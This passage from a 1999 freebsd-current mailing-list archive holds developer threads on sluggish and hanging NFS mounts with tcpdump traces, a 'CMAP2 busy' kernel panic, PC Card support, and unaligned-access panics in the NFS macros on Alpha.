duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id QAA02479; Thu, 28 Oct 1999 16:01:20 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id QAA32684; Thu, 28 Oct 1999 16:00:50 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 28 Oct 1999 16:00:49 -0400 (EDT) To: mjacob@feral.com Cc: Matthew Dillon , freebsd-current@FreeBSD.ORG Subject: Re: really draggy NFS access in -current? In-Reply-To: References: <199910281804.LAA05133@apollo.backplane.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14360.43601.640725.402212@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Jacob writes: > > Hmm. Could be. That's a good thing to try. The connection is a Full Duplex > 100BaseT to a 3com switch (both alpha/freebsd && Solaris) so what you > suggest Just Didn't Occur To Me (tm). Thanks.... > Is this a UDP or TCP mount? I've seen very strange things with TCP mounts of Solaris 2.7 servers with i386 clients running recent -currents. Things start out just fine (3-4MB/sec), then after some period of time (a day or 2 generally), the performance degrades down to a few KB/sec. I didn't really have time to look into it properly, so I just switched all my mounts over to udp & the problem just went away. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 13: 3:15 1999 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 79AD914D03 for ; Thu, 28 Oct 1999 13:03:12 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id NAA22741; Thu, 28 Oct 1999 13:03:07 -0700 Date: Thu, 28 Oct 1999 13:03:11 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Andrew Gallatin Cc: Matthew Dillon , freebsd-current@FreeBSD.ORG Subject: Re: really draggy NFS access in -current? In-Reply-To: <14360.43601.640725.402212@grasshopper.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG UDP. Local network. Very puzzling. On Thu, 28 Oct 1999, Andrew Gallatin wrote: > > Matthew Jacob writes: > > > > Hmm. Could be. That's a good thing to try. The connection is a Full Duplex > > 100BaseT to a 3com switch (both alpha/freebsd && Solaris) so what you > > suggest Just Didn't Occur To Me (tm). Thanks.... > > > > Is this a UDP or TCP mount? > > I've seen very strange things with TCP mounts of Solaris 2.7 servers > with i386 clients running recent -currents. Things start out just > fine (3-4MB/sec), then after some period of time (a day or 2 > generally), the performance degrades down to a few KB/sec. > > I didn't really have time to look into it properly, so I just switched > all my mounts over to udp & the problem just went away. > > Drew > > ------------------------------------------------------------------------------ > Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin > Duke University Email: gallatin@cs.duke.edu > Department of Computer Science Phone: (919) 660-6590 > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 13: 6: 5 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 0D58514DDB for ; Thu, 28 Oct 1999 13:05:54 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id QAA02647; Thu, 28 Oct 1999 16:05:43 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id QAA32697; Thu, 28 Oct 1999 16:05:12 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 28 Oct 1999 16:05:12 -0400 (EDT) To: mjacob@feral.com Cc: Matthew Dillon , freebsd-current@FreeBSD.ORG Subject: Re: really draggy NFS access in -current? In-Reply-To: References: <14360.43601.640725.402212@grasshopper.cs.duke.edu> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14360.44117.875373.599304@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Jacob writes: > > UDP. Local network. Very puzzling. Oh well. So much for a shot in the dark.. ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 13:41: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 1E79114BF4 for ; Thu, 28 Oct 1999 13:41:02 -0700 (PDT) (envelope-from billf@chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id 891911C41; Thu, 28 Oct 1999 15:43:25 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id 846623837; Thu, 28 Oct 1999 15:43:25 -0400 (EDT) Date: Thu, 28 Oct 1999 15:43:25 -0400 (EDT) From: Bill Fumerola To: Khetan Gajjar Cc: current@freebsd.org Subject: Re: CMAP2 busy ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 28 Oct 1999, Khetan Gajjar wrote: > #0 boot (howto=256) at ../../kern/kern_shutdown.c:280 > 280 dumppcb.pcb_cr3 = rcr3(); > (kgdb) quit That's useless, every panic will look like that. Please see the handbook's instructions for good debugging tips. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 13:58:24 1999 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id 7A8CF14D40 for ; Thu, 28 Oct 1999 13:58:18 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.8.8/8.8.8) id QAA28372; Thu, 28 Oct 1999 16:58:18 -0400 (EDT) (envelope-from luoqi) Date: Thu, 28 Oct 1999 16:58:18 -0400 (EDT) From: Luoqi Chen Message-Id: <199910282058.QAA28372@lor.watermarkgroup.com> To: current@FreeBSD.ORG, khetan@os.org.za Subject: Re: CMAP2 busy ? Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi. > > I've been experiencing problems with my machine crashing when in X, > when idle overnight. > > Normally it panics with XF86_S3. Today however the machine returned > something a little different, which I haven't seen before. > I hope this helps someone. > > The machine worlds with no problems, and is perfectly stable > when in console mode. X has been rebuilt several times. > > GNU gdb 4.18 > Copyright 1998 Free Software Foundation, Inc. > GDB is free software, covered by the GNU General Public License, and you are > welcome to change it and/or distribute copies of it under certain conditions. > Type "show copying" to see the conditions. > There is absolutely no warranty for GDB. Type "show warranty" for details. > This GDB was configured as "i386-unknown-freebsd"... > IdlePTD 3559424 > initial pcb at 29d280 > panicstr: pmap_zero_page: CMAP2 busy > panic messages: > --- > panic: pmap_zero_page: CMAP2 busy > It looked like an interrupt hit when the cpu was in an idle loop replenishing zero filled pages, and the interrupt handler somehow also tried to zero some pages itself. In vm_page_zero_idle(), pmap_zero_page should be called at splvm() to prevent this from happening, or allocate another pte exclusively for the idle loop. The latter seems to be preferable. -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 15:13: 4 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id C35F2150D3 for ; Thu, 28 Oct 1999 15:13:00 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id SAA05906 for ; Thu, 28 Oct 1999 18:12:59 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id SAA32871; Thu, 28 Oct 1999 18:12:29 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 28 Oct 1999 18:12:29 -0400 (EDT) To: freebsd-current@freebsd.org Subject: odd NFS behaviour with DU 4.F client X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14360.50663.727201.679421@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We have an NFS server setup running an older FreeBSD-current (Wed Jun 30). This server exports a filesystem to a number of heterogenous clients. On most clients, this filesystem is automounted. Occasionally, some random Digital UNIX box running 4.0F will partially wedge because it's automounter is blocked accessing the FreeBSD server's filesystem. Any access to automounted directories will then cause a process to hang. I've noticed that if I do a tcpdump on the FreeBSD NFS server, I see: 17:48:16.397101 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4256) 17:48:36.397144 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4310) 17:48:56.397212 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4384) 17:49:16.397123 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4453) These requests go on seemingly forever with no reply from the FreeBSD NFS server. "chase" is a users' directory in the top level of this filesystem, and nfsfilesystem/chase/bin is a component of the user chase's path. The truely interesting thing is that if I type 'mount' on DU4CLIENT, I DO NOT see the filesystem in question in the mount table! If I kill all of chase's process on DU4CLIENT, the automounter unsticks and all is well. If I then try to access the chase directory in this filesystem, the DU4CLIENT mounts it & I see this transaction: 18:00:27.725678 DU4CLIENT.1435222468 > FREEBSDSERVER.nfs: 168 lookup fh 234,2/163298400 "chase" (ttl 30, id 9546) 18:00:27.725763 FREEBSDSERVER.nfs > DU4CLIENT.1435222468: reply ok 236 lookup fh 234,2/163298400 DIR 755 ids 1449/107 sz 1024 nlink 21 rdev 134/57475167 fsid 86036d005f nodeid 36d005f00000000 a/m/ctime 941102013.000000 940944335.000000 940944335.000000 post dattr: DIR 775 ids 0/107 sz 512 nlink 25 rdev 4/40 fsid 400000028 nodeid 2800000000 a/m/ctime 941134393.000000 940612206.000000 940612206.000000 (ttl 64, id 16062) I would guess that the DU4CLIENT has the filehandle cached somewhere, even though it has unmounted the filesystem. My question: Whose fault is this? Should the FreeBSD server be ignoring requests to a valid filehandle if the client has not mounted the FS? Should it be returning some sort of error? Thanks, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 15:25: 7 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id DA77E152F8 for ; Thu, 28 Oct 1999 15:25:03 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA12530; Thu, 28 Oct 1999 15:25:00 -0700 (PDT) (envelope-from dillon) Date: Thu, 28 Oct 1999 15:25:00 -0700 (PDT) From: Matthew Dillon Message-Id: <199910282225.PAA12530@apollo.backplane.com> To: Andrew Gallatin Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :We have an NFS server setup running an older FreeBSD-current (Wed Jun 30). :This server exports a filesystem to a number of heterogenous clients. :On most clients, this filesystem is automounted. : :Occasionally, some random Digital UNIX box running 4.0F will partially :wedge because it's automounter is blocked accessing the FreeBSD Lots of bugs have been fixed since then. I recommend upgrading the server (despite the hassle) and seeing if the problem still occurs. :server's filesystem. Any access to automounted directories will then :cause a process to hang. : :I've noticed that if I do a tcpdump on the FreeBSD NFS server, I see: : :17:48:16.397101 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4256) :17:48:36.397144 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4310) :17:48:56.397212 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4384) :17:49:16.397123 DU4CLIENT.1946927300 > FREEBSDSERVER.nfs: 188 lookup fh 234,2/163298400 "chase" (ttl 30, id 4453) : :These requests go on seemingly forever with no reply from the FreeBSD :NFS server. "chase" is a users' directory in the top level of this :filesystem, and nfsfilesystem/chase/bin is a component of the user :chase's path. :... :The truely interesting thing is that if I type 'mount' on DU4CLIENT, I :DO NOT see the filesystem in question in the mount table! : :If I kill all of chase's process on DU4CLIENT, the automounter :unsticks and all is well. If I then try to access the chase directory Well, there was a bug in nfsrv_create() which caused the server to not reply to an NFS packet. This led to a general revamping of the server side code which may have fixed other rpc's at the same time. Whether fixing that bug solves the problem you are having or not is unknown. :I would guess that the DU4CLIENT has the filehandle cached somewhere, :even though it has unmounted the filesystem. : :My question: Whose fault is this? Should the FreeBSD server be :ignoring requests to a valid filehandle if the client has not mounted :the FS? Should it be returning some sort of error? : :Thanks, : :Drew There should be a response to the rpc either way so my guess is that it is a server-side bug. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 16:16: 8 1999 Delivered-To: freebsd-current@freebsd.org Received: from neptune.psn.net (neptune.psn.net [207.211.58.16]) by hub.freebsd.org (Postfix) with ESMTP id 7184D14BDB; Thu, 28 Oct 1999 16:15:59 -0700 (PDT) (envelope-from andrews@technologist.com) Received: from 5042-243.008.popsite.net ([209.224.140.243] helo=argon) by neptune.psn.net with smtp (PSN Internet Service 2.12 #3) id 11gylx-00028H-00; Thu, 28 Oct 1999 16:15:57 -0700 Message-Id: <3.0.6.32.19991028191456.00794e90@mail.psn.net> X-Sender: andrews@mail.psn.net (Unverified) X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 28 Oct 1999 19:14:56 -0400 To: obrien@FreeBSD.ORG From: andrews@technologist.com Subject: Re: cvs commit: src/etc pccard.conf.sample Cc: kuriyama@FreeeBSD.ORG, current@FreeBSD.ORG, imp@FreeBSD.ORG In-Reply-To: <19991027014633.A86547@dragon.nuxi.com> References: <3.0.6.32.19991027000213.007f8430@mail.psn.net> <199910260453.VAA54789@freefall.freebsd.org> <3.0.6.32.19991027000213.007f8430@mail.psn.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:46 AM 10/27/99 -0700, you wrote: >Are you *SURE* this is CardBus? AFAIK, we don't yet (at least >pre-Warner's new pcic code) support CardBus. Hrmm.. I could have sworn it was a CardBus card: http://www.3com.com/client/mcd/products/3ccfe574btsp.html Perhaps I was just seeing things, sorry. I have friends who happen to have Xircom multifunc cards (which _are_ CardBus) - would you guys like me to try and test them? I can get them long enough to test them out with the newconfig functionality. In retrospect.. I probably confused their cards with mine. :-) >> # 3Com Megahertz 3C574B (3CCFE574BT) > >Isn't this just a rebadged (and slightly tweaked) 3Com 3c574tx? Most likely. Their pccard.conf configurations are very similar. Jun, `pccardc dumpcis` output for you at: http://stimpy.multiweb.net/~dragon/3CCFE574BT.txt I have sup'd my sources and will be remaking world & kernel tonight, I will let you know what happens... -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 16:30: 9 1999 Delivered-To: freebsd-current@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id D0163151B5; Thu, 28 Oct 1999 16:30:07 -0700 (PDT) (envelope-from billf@chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id AE7D91C41; Thu, 28 Oct 1999 18:32:29 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id A334B3837; Thu, 28 Oct 1999 18:32:29 -0400 (EDT) Date: Thu, 28 Oct 1999 18:32:29 -0400 (EDT) From: Bill Fumerola To: andrews@technologist.com Cc: obrien@FreeBSD.ORG, kuriyama@FreeeBSD.ORG, current@FreeBSD.ORG, imp@FreeBSD.ORG Subject: Re: cvs commit: src/etc pccard.conf.sample In-Reply-To: <3.0.6.32.19991028191456.00794e90@mail.psn.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 28 Oct 1999 andrews@technologist.com wrote: > I have friends who happen to have Xircom multifunc cards (which > _are_ CardBus) - would you guys like me to try and test them? I > can get them long enough to test them out with the newconfig > functionality. There are two versions of the XIRCOM realport multifunc cards, one that is Cardbus and one that isn't. I have the latter. if_xe is broken now, BTW. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 16:32:21 1999 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E5BBC151B5; Thu, 28 Oct 1999 16:32:17 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id RAA46393; Thu, 28 Oct 1999 17:32:15 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id RAA77634; Thu, 28 Oct 1999 17:33:40 -0600 (MDT) Message-Id: <199910282333.RAA77634@harmony.village.org> To: Bill Fumerola Subject: Re: cvs commit: src/etc pccard.conf.sample Cc: andrews@technologist.com, obrien@FreeBSD.ORG, kuriyama@FreeeBSD.ORG, current@FreeBSD.ORG In-reply-to: Your message of "Thu, 28 Oct 1999 18:32:29 EDT." References: Date: Thu, 28 Oct 1999 17:33:40 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Bill Fumerola writes: : There are two versions of the XIRCOM realport multifunc cards, : one that is Cardbus and one that isn't. I have the latter. : if_xe is broken now, BTW. I have at least one Xircom card which I plan to make work, if at all possible, with the new pccard code. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 17:45:42 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 98DF3154D6 for ; Thu, 28 Oct 1999 17:45:34 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id UAA08572; Thu, 28 Oct 1999 20:45:32 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id UAA33074; Thu, 28 Oct 1999 20:45:01 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 28 Oct 1999 20:45:01 -0400 (EDT) To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client In-Reply-To: <199910282225.PAA12530@apollo.backplane.com> References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14360.60247.329457.247327@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon writes: > :We have an NFS server setup running an older FreeBSD-current (Wed Jun 30). > :This server exports a filesystem to a number of heterogenous clients. > :On most clients, this filesystem is automounted. > : > :Occasionally, some random Digital UNIX box running 4.0F will partially > :wedge because it's automounter is blocked accessing the FreeBSD > > Lots of bugs have been fixed since then. I recommend upgrading the > server (despite the hassle) and seeing if the problem still occurs. <..> OK, will do. I'm mainly waiting for the next rev of the ata driver The volume this box serves up is a ccd stripe of 4 18GB ide disks attached to multiple Promise controllers. > There should be a response to the rpc either way so my guess is that > it is a server-side bug. OK, thanks. Good to know. Speaking of NFS changes, there was talk at one time about turning the nfsm macros into functions. Is this going to happen? I ask because I've seen occasional unaligned access panics on FreeBSD/alpha in the client side code. I've only seen them on a really lossy link (basically a misconfigured duplex on a 100Mb link). They tend to be in nfs_request (nfs/nfs_socket.c:110) or nfs_readrpc (nfs/nfs_vnops.c:1093). These are both calls to nfs macros that would be a lot easier to debug if they weren't macros ;-) Thanks, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 18: 3:36 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 35D9F14EF3 for ; Thu, 28 Oct 1999 18:03:24 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA13818; Thu, 28 Oct 1999 18:03:20 -0700 (PDT) (envelope-from dillon) Date: Thu, 28 Oct 1999 18:03:20 -0700 (PDT) From: Matthew Dillon Message-Id: <199910290103.SAA13818@apollo.backplane.com> To: Andrew Gallatin Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14360.60247.329457.247327@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Speaking of NFS changes, there was talk at one time about turning the :nfsm macros into functions. Is this going to happen? No. The nfsm macros have goto's all over the place that jump outside the macro, and also use local variables declared outside the macro. Short of rewriting a fairly large hunk of the NFS code entirely it aint gonna happen. Nobody is contemplating rewriting the code. :I ask because I've seen occasional unaligned access panics on :FreeBSD/alpha in the client side code. I've only seen them on a :really lossy link (basically a misconfigured duplex on a 100Mb link). :They tend to be in nfs_request (nfs/nfs_socket.c:110) or nfs_readrpc :(nfs/nfs_vnops.c:1093). These are both calls to nfs macros that would :be a lot easier to debug if they weren't macros ;-) : :Thanks, : :Drew :------------------------------------------------------------------------------ :Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin You can use gdb to disassemble the code to locate the exact point where the panic occured. It is definitely more difficult, but there isn't much we can do about it. The rpc design tends to keep things aligned and NFS packet elements tend to be sized such that alignment remains intact, so if these panics can be tracked down the fixes should be relatively easy to make. Unfortunately, we just don't see these sorts of panics on Intel boxes all that much because IA32 allows misaligned accesses. This means there are almost certainly alignment bugs in the code. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 18:14: 7 1999 Delivered-To: freebsd-current@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 0275D14EF3 for ; Thu, 28 Oct 1999 18:13:45 -0700 (PDT) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id KAA05134; Fri, 29 Oct 1999 10:43:29 +0930 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Fri, 29 Oct 1999 10:43:29 +0930 (CST) From: "Daniel O'Connor" To: Matthew Jacob Subject: Re: really draggy NFS access in -current? Cc: freebsd-current@FreeBSD.ORG, Matthew Dillon , Andrew Gallatin Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 28-Oct-99 Matthew Jacob wrote: > UDP. Local network. Very puzzling. Have you tried a week old kernel? Might be worth the test to see if someone broke something subtle. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Oct 28 18:47:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 400D3154D6 for ; Thu, 28 Oct 1999 18:47:30 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id VAA09814; Thu, 28 Oct 1999 21:47:27 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id VAA33250; Thu, 28 Oct 1999 21:46:57 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Thu, 28 Oct 1999 21:46:56 -0400 (EDT) To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client In-Reply-To: <199910290103.SAA13818@apollo.backplane.com> References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14360.60247.329457.247327@grasshopper.cs.duke.edu> <199910290103.SAA13818@apollo.backplane.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14360.64462.254136.673166@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon writes: > :Speaking of NFS changes, there was talk at one time about turning the > :nfsm macros into functions. Is this going to happen? > > No. The nfsm macros have goto's all over the place that jump outside > the macro, and also use local variables declared outside the macro. > Short of rewriting a fairly large hunk of the NFS code entirely it > aint gonna happen. Nobody is contemplating rewriting the code. Exactly why I wasn't going to try to do it myself ;-) But I could have sworn I read somewhere that somebody was planning it. Oh well. > You can use gdb to disassemble the code to locate the exact point where > the panic occured. It is definitely more difficult, but there isn't > much we can do about it. The rpc design tends to keep things aligned > and NFS packet elements tend to be sized such that alignment remains > intact, so if these panics can be tracked down the fixes should be > relatively easy to make. Unfortunately, we just don't see these sorts > of panics on Intel boxes all that much because IA32 allows misaligned > accesses. This means there are almost certainly alignment bugs in the > code. > > -Matt I'm all in favor of having all the developers have alphas so these things get caught early ;-) Cheers, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with 